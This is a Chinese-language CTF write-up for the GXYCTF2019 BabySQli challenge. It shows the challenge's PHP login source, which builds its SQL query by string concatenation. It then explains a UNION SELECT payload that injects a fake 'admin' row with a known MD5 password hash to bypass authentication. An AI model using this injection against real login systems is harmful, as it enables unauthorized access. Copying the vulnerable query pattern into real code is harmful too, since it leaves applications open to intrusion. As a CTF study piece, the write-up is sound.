[GXYCTF2019]BabySQli wp

[GXYCTF2019]BabySQli

image-20210926231720934

对注释进行base32和base64解密后

image-20210926231757359

猜字段、各种注入后,没回显,这里会想到用盲注,

但这里用到了一个联合查询的数据库特性

​ 联合查询不存在的数据时,数据库会将这段数据插入到表中,构造虚拟数据。

因此这里我们可以利用假帐号和密码去获取.

<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
 2 <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
 3 <title>Do you know who am I?</title>
 4 <?php
 5 require "config.php";
 6 require "flag.php";
 7 
 8 // 去除转义
 9 if (get_magic_quotes_gpc()) {
10     function stripslashes_deep($value)
11     {
12         $value = is_array($value) ?
13         array_map(‘stripslashes_deep‘, $value) :
14         stripslashes($value);
15         return $value;
16     }
17 
18     $_POST = array_map(‘stripslashes_deep‘, $_POST);
19     $_GET = array_map(‘stripslashes_deep‘, $_GET);
20     $_COOKIE = array_map(‘stripslashes_deep‘, $_COOKIE);
21     $_REQUEST = array_map(‘stripslashes_deep‘, $_REQUEST);
22 }
23 
24 mysqli_query($con,‘SET NAMES UTF8‘);
25 $name = $_POST[‘name‘];
26 $password = $_POST[‘pw‘];
27 $t_pw = md5($password);
28 $sql = "select * from user where username = ‘".$name."‘";
29 // echo $sql;
30 $result = mysqli_query($con, $sql);
31 
32 
33 if(preg_match("/\(|\)|\=|or/", $name)){
34     die("do not hack me!");
35 }
36 else{
37     if (!$result) {
38         printf("Error: %s\n", mysqli_error($con));
39         exit();
40     }
41     else{
42         // echo ‘<pre>‘;
43         $arr = mysqli_fetch_row($result);
44         // print_r($arr);
45         if($arr[1] == "admin"){
46             if(md5($password) == $arr[2]){
47                 echo $flag;
48             }
49             else{
50                 die("wrong pass!");
51             }
52         }
53         else{
54             die("wrong user!");
55         }
56     }
57 }
58 
59 ?>

​ 这里可以看出$result是查询的返回值。同时过滤账号名是否为admin。

mysqli_query($conn, $sql)的返回值类型:

(1)DML: 增删改,执行失败返回false,成功返回true

(2)DQL: 查,执行失败返回false,成功返回查询结果集对象,可能有0/1/N行数据;

也就是意味着当我们通过payload查询时,会返回我们构造的虚拟数据。

因此我们的payload为

name=-1'union+select+1,'admin','e10adc3949ba59abbe56e057f20f883e'%3b%23&pw=123456

这里只能通过猜测开发者常用的md5加密过滤,或者看源码了。

e10adc3949ba59abbe56e057f20f883e就是123456的md5加密。

posted @ 2021-09-27 09:58  Hanky_D  阅读(116)  评论(0编辑  收藏  举报